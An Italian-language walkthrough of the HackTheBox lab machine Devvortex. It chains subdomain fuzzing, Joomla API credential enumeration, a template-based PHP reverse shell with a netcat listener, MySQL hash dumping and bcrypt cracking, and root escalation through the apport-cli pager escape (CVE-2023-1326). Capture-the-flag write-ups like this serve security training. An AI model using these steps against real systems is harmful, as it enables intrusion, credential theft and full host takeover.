
HackTheBox Devvortex walkthrough che copre il fuzzing dei sottodomini, l'enumerazione dell'API di Joomla, la web shell basata su template, il cracking dell'hash bcrypt e l'escalation dei privilegi tramite Apport-CLI CVE-2023-1326.
Una guida tecnica completa che descrive in dettaglio la compromissione della macchina Devvortex su HackTheBox. Questo percorso dimostra Subdomain Fuzzing, Joomla API Enumeration, Template Modification per l'accesso iniziale, Database Hash Extraction & Cracking per il movimento laterale e lo sfruttamento di Apport-CLI (CVE-2023-1326) per l'escalation dei privilegi a root.
devvortex.htbdev.devvortex.htbapport-cli).È stata eseguita una scansione TCP veloce iniziale su tutte le porte:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
Successivamente è stata eseguita una scansione di rilevamento dei servizi e delle versioni sulle porte aperte identificate:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
Aggiungi il dominio target di base alla tua tabella di risoluzione dei nomi host locale:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
Fuzzing degli host virtuali per identificare ulteriori risorse web:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
Risultato: Scoperto dev.devvortex.htb. Aggiunto dev.devvortex.htb a /etc/hosts.
Enumerazione delle route sull'host virtuale appena scoperto:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
Risultato: Scoperto l'endpoint /administrator, che espone un portale di autenticazione admin di Joomla.
Sondaggio degli endpoint pubblici esposti dalla REST API di Joomla per raccogliere metriche applicative sensibili e utenti:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
Utilizzando le credenziali scoperte durante l'enumerazione, accedi al portale /administrator di Joomla:
Vai su System > Site Templates.
Seleziona il template attivo e apri error.php.
Sostituisci il contenuto di error.php con un payload standard di reverse shell PHP.
Inizializza un listener netcat locale:
Bash
nc -lvnp 4444
Attiva l'esecuzione di error.php richiedendo una pagina inesistente o accedendo direttamente al file.
Una volta che la shell si connette come www-data, avvia una sessione PTY interattiva:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Accedi al database MySQL locale utilizzando le credenziali recuperate dai file di configurazione web:
Bash
mysql -u lewis -p
Interroga la tabella degli utenti per individuare gli hash delle credenziali memorizzati:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
Estrai l'hash della password bcrypt per l'utente logan in un file locale:
Bash
nano hash.txt
Cracka l'hash usando John the Ripper insieme a rockyou.txt:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Stabilisci una sessione SSH persistente come utente logan con le credenziali crackate:
Bash
Bash
cat user.txt
Ispeziona i binari consentiti per l'utente logan:
Bash
sudo -l
Output: L'utente può eseguire /usr/bin/apport-cli come root.
Controlla la versione installata di apport-cli:
Bash
apport-cli --version
Ispeziona /var/crash per i file di report esistenti. Se vuoto, crea manualmente un file di crash:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
Avvia apport-cli sul file di crash creato usando sudo:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
Premi v per View report.
Quando il paginatore (less) carica il contenuto, esci verso una shell di sistema inserendo:
Plaintext
!/bin/bash
Verifica l'elevazione a root:
Bash
whoami
# Output: root
Bash
cat /root/root.txt